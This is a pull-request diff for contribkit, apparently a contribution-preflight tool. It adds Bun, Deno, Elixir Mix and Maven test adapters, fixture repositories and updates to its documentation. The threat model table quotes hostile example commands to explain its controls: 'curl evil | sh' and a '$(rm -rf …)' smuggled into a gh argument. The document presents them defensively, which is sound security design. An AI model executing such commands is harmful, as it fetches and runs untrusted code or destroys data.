Skip to content
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension


Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
2 changes: 1 addition & 1 deletion .github/ISSUE_TEMPLATE/adapter.yml
Original file line number Diff line number Diff line change
Expand Up @@ -27,7 +27,7 @@ body:
id: test-family
attributes:
label: Allowlisted test command family
description: Must be a simple argv family (pytest, npm test, cargo test, go test). No pipes.
description: Must be a simple argv family (pytest, npm test, cargo test, go test, mix test, mvn test). No pipes.
placeholder: pytest -q
validations:
required: true
Expand Down
2 changes: 1 addition & 1 deletion .github/SECURITY.md
Original file line number Diff line number Diff line change
Expand Up @@ -2,6 +2,6 @@

Report vulnerabilities privately via GitHub Security Advisories on this repository.

contribkit does not execute commands found in a target repository unless the user passes `--run-tests` and the argv matches the allowlist in [docs/THREAT_MODEL.md](../docs/THREAT_MODEL.md) (`npm test`, `pytest`, `cargo test`, `go test`, and close families). Pipes, `&&`, and `$()` are rejected.
contribkit does not execute commands found in a target repository unless the user passes `--run-tests` and the argv matches the allowlist in [docs/THREAT_MODEL.md](../docs/THREAT_MODEL.md) (`npm test`, `pytest`, `cargo test`, `go test`, `mix test`, and `mvn test`). Pipes, `&&`, and `$()` are rejected.

Do not send tokens or private repository contents to public issues.
4 changes: 2 additions & 2 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -53,7 +53,7 @@ Claude Code plugin (local marketplace, not the Anthropic catalog):

`--json` prints machine-readable contract or receipt JSON. Preflight exit codes: `blocked` → 1; `pass` and `needs-human` → 0. `--repo` must be a git clone root, not a nested folder of another repository.

`--run-tests` is opt-in. It only executes allowlisted argv (`npm test`, `npm run test`, `pnpm test`, `yarn test`, `pytest`, `python -m pytest`, `cargo test`, `go test`). No pipes, no `&&`, no `$()`. Default preflight only *records* commands already supplied; it does not run the target repository.
`--run-tests` is opt-in. It only executes exact allowlisted argv (`npm test`, `npm run test`, `pnpm test`, `yarn test`, `pytest`, `python -m pytest`, `cargo test`, `go test`, `bun test`, `deno test`, `mix test`, `mvn test`). Extra arguments, pipes, `&&`, and `$()` are rejected. Default preflight only *records* commands already supplied; it does not run the target repository.

`CONTRIBKIT_ALLOW=1` sets `receipt.overridden = true`. It does not rewrite tool argv.

Expand All @@ -65,7 +65,7 @@ Claude Code plugin (local marketplace, not the Anthropic catalog):
- Golden fixtures under `fixtures/repos/`
- Claude plugin: `.claude-plugin/plugin.json`, `skills/*`, `hooks/hooks.json` (Bash|PowerShell `gh`/`glab` **and** `mcp__.*__create_pull_request`)
- MCP stdio: `node dist/src/cli.js mcp` tools `compile_contract`, `preflight_diff`, `explain_receipt`
- Bundled adapters: `python-pytest`, `node-npm-test`, `go-test` (advisory `command_recorded` only unless `blockAdapters`)
- Bundled adapters: `python-pytest`, `node-npm-test`, `go-test`, `bun-test`, `deno-test`, `elixir-mix`, `java-maven` (advisory `command_recorded` only unless `blockAdapters`)
- Adapter authoring guide: [docs/ADAPTER_AUTHORING.md](docs/ADAPTER_AUTHORING.md)

## What is not shipped
Expand Down
6 changes: 6 additions & 0 deletions adapters/bun-test/README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,6 @@
# bun-test

Activates when the target tree has `bun.lockb`, `bun.lock`, or a `package.json` whose
`packageManager` is `bun` (including a version such as `bun@1.2.3`). Adds an advisory `bun test`
recording check. It does not execute Bun unless `--run-tests` is explicitly passed, and only the
exact `bun test` argv is allowlisted. Target-repository adapter folders are ignored.
9 changes: 9 additions & 0 deletions adapters/bun-test/adapter.json
Original file line number Diff line number Diff line change
@@ -0,0 +1,9 @@
{
"id": "bun-test",
"match": {
"filesAny": ["bun.lockb", "bun.lock", "package.json"],
"packageManager": "bun"
},
"testCommand": "bun test",
"maxDiffLines": null
}
2 changes: 2 additions & 0 deletions adapters/bun-test/hints.yml
Original file line number Diff line number Diff line change
@@ -0,0 +1,2 @@
id: bun-test
testFamily: bun test
6 changes: 6 additions & 0 deletions adapters/bun-test/tests/golden.json
Original file line number Diff line number Diff line change
@@ -0,0 +1,6 @@
{
"id": "bun-test",
"expectRuleId": "adapter-bun-test",
"expectCommand": "bun test",
"expectSeverity": "advisory"
}
5 changes: 5 additions & 0 deletions adapters/deno-test/README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,5 @@
# deno-test

Activates when the target tree has `deno.json` or `deno.jsonc`. Adds an advisory `deno test`
recording check. It does not execute Deno unless `--run-tests` is explicitly passed, and only the
exact `deno test` argv is allowlisted. Target-repository adapter folders are ignored.
6 changes: 6 additions & 0 deletions adapters/deno-test/adapter.json
Original file line number Diff line number Diff line change
@@ -0,0 +1,6 @@
{
"id": "deno-test",
"match": { "filesAny": ["deno.json", "deno.jsonc"] },
"testCommand": "deno test",
"maxDiffLines": null
}
2 changes: 2 additions & 0 deletions adapters/deno-test/hints.yml
Original file line number Diff line number Diff line change
@@ -0,0 +1,2 @@
id: deno-test
testFamily: deno test
6 changes: 6 additions & 0 deletions adapters/deno-test/tests/golden.json
Original file line number Diff line number Diff line change
@@ -0,0 +1,6 @@
{
"id": "deno-test",
"expectRuleId": "adapter-deno-test",
"expectCommand": "deno test",
"expectSeverity": "advisory"
}
8 changes: 8 additions & 0 deletions adapters/elixir-mix/README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,8 @@
# elixir-mix

Activates when the target tree has `mix.exs`. Adds an advisory `command_recorded` check for the
exact argv `mix test` unless `contribkit.yml` lists `elixir-mix` under `blockAdapters`.

The command is never run by default. `--run-tests` is required, and contribkit executes only the
allowlisted argv with no extra arguments, pipes, `&&`, or `$()`. Target-repository adapter folders
are ignored.
6 changes: 6 additions & 0 deletions adapters/elixir-mix/adapter.json
Original file line number Diff line number Diff line change
@@ -0,0 +1,6 @@
{
"id": "elixir-mix",
"match": { "filesAny": ["mix.exs"] },
"testCommand": "mix test",
"maxDiffLines": null
}
3 changes: 3 additions & 0 deletions adapters/elixir-mix/hints.yml
Original file line number Diff line number Diff line change
@@ -0,0 +1,3 @@
# Hints only. Never executed.
id: elixir-mix
testFamily: mix test
6 changes: 6 additions & 0 deletions adapters/elixir-mix/tests/golden.json
Original file line number Diff line number Diff line change
@@ -0,0 +1,6 @@
{
"id": "elixir-mix",
"expectRuleId": "adapter-elixir-mix",
"expectCommand": "mix test",
"expectSeverity": "advisory"
}
8 changes: 8 additions & 0 deletions adapters/java-maven/README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,8 @@
# java-maven

Activates when the target tree has `pom.xml`. Adds an advisory `command_recorded` check for the
exact argv `mvn test` unless `contribkit.yml` lists `java-maven` under `blockAdapters`.

The command is never run by default. `--run-tests` is required, and contribkit executes only the
allowlisted argv with no extra arguments, pipes, `&&`, or `$()`. Target-repository adapter folders
are ignored.
6 changes: 6 additions & 0 deletions adapters/java-maven/adapter.json
Original file line number Diff line number Diff line change
@@ -0,0 +1,6 @@
{
"id": "java-maven",
"match": { "filesAny": ["pom.xml"] },
"testCommand": "mvn test",
"maxDiffLines": null
}
3 changes: 3 additions & 0 deletions adapters/java-maven/hints.yml
Original file line number Diff line number Diff line change
@@ -0,0 +1,3 @@
# Hints only. Never executed.
id: java-maven
testFamily: mvn test
6 changes: 6 additions & 0 deletions adapters/java-maven/tests/golden.json
Original file line number Diff line number Diff line change
@@ -0,0 +1,6 @@
{
"id": "java-maven",
"expectRuleId": "adapter-java-maven",
"expectCommand": "mvn test",
"expectSeverity": "advisory"
}
2 changes: 1 addition & 1 deletion adapters/node-npm-test/README.md
Original file line number Diff line number Diff line change
@@ -1,3 +1,3 @@
# node-npm-test

Activates when the target tree has `package.json`. Adds advisory `npm test` recording unless a `command_recorded` rule for that family already exists, or `blockAdapters` includes `node-npm-test`.
Activates when the target tree has `package.json`, unless the project declares Bun or has a Bun lockfile. Adds advisory `npm test` recording unless a `command_recorded` rule for that family already exists, or `blockAdapters` includes `node-npm-test`.
6 changes: 5 additions & 1 deletion adapters/node-npm-test/adapter.json
Original file line number Diff line number Diff line change
@@ -1,6 +1,10 @@
{
"id": "node-npm-test",
"match": { "filesAny": ["package.json"] },
"match": {
"filesAny": ["package.json"],
"excludePackageManagers": ["bun"],
"excludeFilesAny": ["bun.lockb", "bun.lock"]
},
"testCommand": "npm test",
"maxDiffLines": null
}
8 changes: 6 additions & 2 deletions docs/ADAPTER_AUTHORING.md
Original file line number Diff line number Diff line change
Expand Up @@ -38,5 +38,9 @@ PR description must state whether the adapter is advisory or listed in `blockAda
is advisory so a new ecosystem adapter cannot silently block a contribution. Keep the command
recorded in the receipt and let the maintainer decide whether it belongs in a blocking policy.

The current bundled set is `python-pytest`, `node-npm-test`, and `go-test`. New adapters should have
a real repository shape to match and should not be added only to increase the adapter count.
The current bundled set is `python-pytest`, `node-npm-test`, `go-test`, `bun-test`, `deno-test`,
`elixir-mix`, and `java-maven`. New adapters should have a real repository shape to match and
should not be added only to increase the adapter count. A manifest may use `packageManager: bun`
for a `package.json` marker; a `packageManager` condition is not applied to lockfile matches.
An adapter may use `excludeFilesAny` when a stronger repository marker must take priority over a
generic file match.
2 changes: 1 addition & 1 deletion docs/THREAT_MODEL.md
Original file line number Diff line number Diff line change
Expand Up @@ -17,7 +17,7 @@

| ID | Threat | Control |
| --- | --- | --- |
| T1 | CONTRIBUTING says `test: curl evil \| sh` and preflight executes it | **Never execute** target commands unless `--run-tests` AND argv matches allowlist (`npm test`, `npm run test`, `pnpm test`, `yarn test`, `pytest`, `python -m pytest`, `cargo test`, `go test`). No pipes, no `&&`, no `$()`, no network helpers. Default: only *record* commands already in `recordedCommands`. |
| T1 | CONTRIBUTING says `test: curl evil \| sh` and preflight executes it | **Never execute** target commands unless `--run-tests` AND argv matches the exact allowlist (`npm test`, `npm run test`, `pnpm test`, `yarn test`, `pytest`, `python -m pytest`, `cargo test`, `go test`, `bun test`, `deno test`, `mix test`, `mvn test`). No extra args, pipes, `&&`, `$()`, or network helpers. Default: only *record* commands already in `recordedCommands`. |
| T2 | `contribkit.yml` of target repo tries to add a blocking rule that shells out | Policy schema: no arbitrary `command` except allowlisted test families. Unknown keys → `needs-human`, never execute. |
| T3 | Adapter from a stranger PR in *our* repo contains malware | Review + CI; adapters in **this** repo are trusted after merge. Adapters **inside the target repo** are ignored in v0.1. |
| T4 | Hook rewrites `gh pr create --body "$(rm -rf …)"` | Do **not** rewrite command strings. Deny or allow. |
Expand Down
3 changes: 3 additions & 0 deletions fixtures/repos/bun-lock-package-script/CONTRIBUTING.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,3 @@
# Contributing

Keep the change small and record the required test command.
1 change: 1 addition & 0 deletions fixtures/repos/bun-lock-package-script/LICENSE
Original file line number Diff line number Diff line change
@@ -0,0 +1 @@
TEST LICENSE
1 change: 1 addition & 0 deletions fixtures/repos/bun-lock-package-script/bun.lock

Some generated files are not rendered by default. Learn more about how customized files appear on GitHub.

1 change: 1 addition & 0 deletions fixtures/repos/bun-lock-package-script/change/README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1 @@
Bun lockfile priority fixture.
6 changes: 6 additions & 0 deletions fixtures/repos/bun-lock-package-script/package.json
Original file line number Diff line number Diff line change
@@ -0,0 +1,6 @@
{
"name": "bun-lock-package-script-fixture",
"scripts": {
"test": "bun test"
}
}
3 changes: 3 additions & 0 deletions fixtures/repos/bun-lock/CONTRIBUTING.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,3 @@
# Contributing

Keep the change small and record the required test command.
1 change: 1 addition & 0 deletions fixtures/repos/bun-lock/LICENSE
Original file line number Diff line number Diff line change
@@ -0,0 +1 @@
TEST LICENSE
1 change: 1 addition & 0 deletions fixtures/repos/bun-lock/bun.lock

Some generated files are not rendered by default. Learn more about how customized files appear on GitHub.

1 change: 1 addition & 0 deletions fixtures/repos/bun-lock/change/README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1 @@
Bun lockfile adapter fixture.
3 changes: 3 additions & 0 deletions fixtures/repos/bun-lockb-package-script/CONTRIBUTING.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,3 @@
# Contributing

Keep the change small and record the required test command.
1 change: 1 addition & 0 deletions fixtures/repos/bun-lockb-package-script/LICENSE
Original file line number Diff line number Diff line change
@@ -0,0 +1 @@
TEST LICENSE
1 change: 1 addition & 0 deletions fixtures/repos/bun-lockb-package-script/bun.lockb

Some generated files are not rendered by default. Learn more about how customized files appear on GitHub.

1 change: 1 addition & 0 deletions fixtures/repos/bun-lockb-package-script/change/README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1 @@
Bun binary lockfile priority fixture.
6 changes: 6 additions & 0 deletions fixtures/repos/bun-lockb-package-script/package.json
Original file line number Diff line number Diff line change
@@ -0,0 +1,6 @@
{
"name": "bun-lockb-package-script-fixture",
"scripts": {
"test": "bun test"
}
}
3 changes: 3 additions & 0 deletions fixtures/repos/bun-lockb/CONTRIBUTING.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,3 @@
# Contributing

Keep the change small and record the required test command.
1 change: 1 addition & 0 deletions fixtures/repos/bun-lockb/LICENSE
Original file line number Diff line number Diff line change
@@ -0,0 +1 @@
TEST LICENSE
1 change: 1 addition & 0 deletions fixtures/repos/bun-lockb/bun.lockb

Some generated files are not rendered by default. Learn more about how customized files appear on GitHub.

1 change: 1 addition & 0 deletions fixtures/repos/bun-lockb/change/README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1 @@
Bun binary-lockfile path adapter fixture.
3 changes: 3 additions & 0 deletions fixtures/repos/bun-package-manager-negative/CONTRIBUTING.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,3 @@
# Contributing

Keep the change small and record the required test command.
1 change: 1 addition & 0 deletions fixtures/repos/bun-package-manager-negative/LICENSE
Original file line number Diff line number Diff line change
@@ -0,0 +1 @@
TEST LICENSE
Original file line number Diff line number Diff line change
@@ -0,0 +1 @@
Non-Bun packageManager adapter fixture.
4 changes: 4 additions & 0 deletions fixtures/repos/bun-package-manager-negative/package.json
Original file line number Diff line number Diff line change
@@ -0,0 +1,4 @@
{
"name": "not-a-bun-fixture",
"packageManager": "npm@10.8.2"
}
3 changes: 3 additions & 0 deletions fixtures/repos/bun-package-manager-script/CONTRIBUTING.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,3 @@
# Contributing

The repository test command is `bun test`.
1 change: 1 addition & 0 deletions fixtures/repos/bun-package-manager-script/LICENSE
Original file line number Diff line number Diff line change
@@ -0,0 +1 @@
TEST LICENSE
Original file line number Diff line number Diff line change
@@ -0,0 +1 @@
Bun compiler inference fixture.
7 changes: 7 additions & 0 deletions fixtures/repos/bun-package-manager-script/package.json
Original file line number Diff line number Diff line change
@@ -0,0 +1,7 @@
{
"name": "bun-package-manager-script-fixture",
"packageManager": "bun@1.2.3",
"scripts": {
"test": "bun test"
}
}
3 changes: 3 additions & 0 deletions fixtures/repos/bun-package-manager/CONTRIBUTING.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,3 @@
# Contributing

Keep the change small and record the required test command.
1 change: 1 addition & 0 deletions fixtures/repos/bun-package-manager/LICENSE
Original file line number Diff line number Diff line change
@@ -0,0 +1 @@
TEST LICENSE
1 change: 1 addition & 0 deletions fixtures/repos/bun-package-manager/change/README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1 @@
Bun packageManager adapter fixture.
4 changes: 4 additions & 0 deletions fixtures/repos/bun-package-manager/package.json
Original file line number Diff line number Diff line change
@@ -0,0 +1,4 @@
{
"name": "bun-package-manager-fixture",
"packageManager": "bun@1.2.3"
}
3 changes: 3 additions & 0 deletions fixtures/repos/bun-script-without-marker/CONTRIBUTING.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,3 @@
# Contributing

Keep the change small and record the required test command.
1 change: 1 addition & 0 deletions fixtures/repos/bun-script-without-marker/LICENSE
Original file line number Diff line number Diff line change
@@ -0,0 +1 @@
TEST LICENSE
Original file line number Diff line number Diff line change
@@ -0,0 +1 @@
Bun script without a Bun project marker.
6 changes: 6 additions & 0 deletions fixtures/repos/bun-script-without-marker/package.json
Original file line number Diff line number Diff line change
@@ -0,0 +1,6 @@
{
"name": "bun-script-without-marker-fixture",
"scripts": {
"test": "bun test"
}
}
3 changes: 3 additions & 0 deletions fixtures/repos/deno-jsonc/CONTRIBUTING.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,3 @@
# Contributing

Keep the change small and record the required test command.
1 change: 1 addition & 0 deletions fixtures/repos/deno-jsonc/LICENSE
Original file line number Diff line number Diff line change
@@ -0,0 +1 @@
TEST LICENSE
1 change: 1 addition & 0 deletions fixtures/repos/deno-jsonc/change/README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1 @@
Deno JSONC adapter fixture.
6 changes: 6 additions & 0 deletions fixtures/repos/deno-jsonc/deno.jsonc
Original file line number Diff line number Diff line change
@@ -0,0 +1,6 @@
{
// JSONC is a supported Deno project marker.
"tasks": {
"test": "deno test"
}
}
3 changes: 3 additions & 0 deletions fixtures/repos/deno-test/CONTRIBUTING.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,3 @@
# Contributing

Keep the change small and record the required test command.
1 change: 1 addition & 0 deletions fixtures/repos/deno-test/LICENSE
Original file line number Diff line number Diff line change
@@ -0,0 +1 @@
TEST LICENSE
1 change: 1 addition & 0 deletions fixtures/repos/deno-test/change/README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1 @@
Deno adapter fixture.
5 changes: 5 additions & 0 deletions fixtures/repos/deno-test/deno.json
Original file line number Diff line number Diff line change
@@ -0,0 +1,5 @@
{
"tasks": {
"test": "deno test"
}
}
3 changes: 3 additions & 0 deletions fixtures/repos/elixir-mix/CONTRIBUTING.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,3 @@
# Contributing

Keep changes focused and include a clear commit message.
1 change: 1 addition & 0 deletions fixtures/repos/elixir-mix/LICENSE
Original file line number Diff line number Diff line change
@@ -0,0 +1 @@
Apache License 2.0
3 changes: 3 additions & 0 deletions fixtures/repos/elixir-mix/change/README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,3 @@
# Fixture change

This change exercises the Elixir Mix adapter.
7 changes: 7 additions & 0 deletions fixtures/repos/elixir-mix/mix.exs
Original file line number Diff line number Diff line change
@@ -0,0 +1,7 @@
defmodule ContribkitMixFixture.MixProject do
use Mix.Project

def project do
[app: :contribkit_mix_fixture, version: "0.1.0", elixir: "~> 1.15"]
end
end
3 changes: 3 additions & 0 deletions fixtures/repos/java-maven/CONTRIBUTING.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,3 @@
# Contributing

Keep changes focused and include a clear commit message.
1 change: 1 addition & 0 deletions fixtures/repos/java-maven/LICENSE
Original file line number Diff line number Diff line change
@@ -0,0 +1 @@
Apache License 2.0
3 changes: 3 additions & 0 deletions fixtures/repos/java-maven/change/README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,3 @@
# Fixture change

This change exercises the Java Maven adapter.
9 changes: 9 additions & 0 deletions fixtures/repos/java-maven/pom.xml
Original file line number Diff line number Diff line change
@@ -0,0 +1,9 @@
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>org.contribkit</groupId>
<artifactId>java-maven-fixture</artifactId>
<version>0.1.0</version>
</project>
Loading
Loading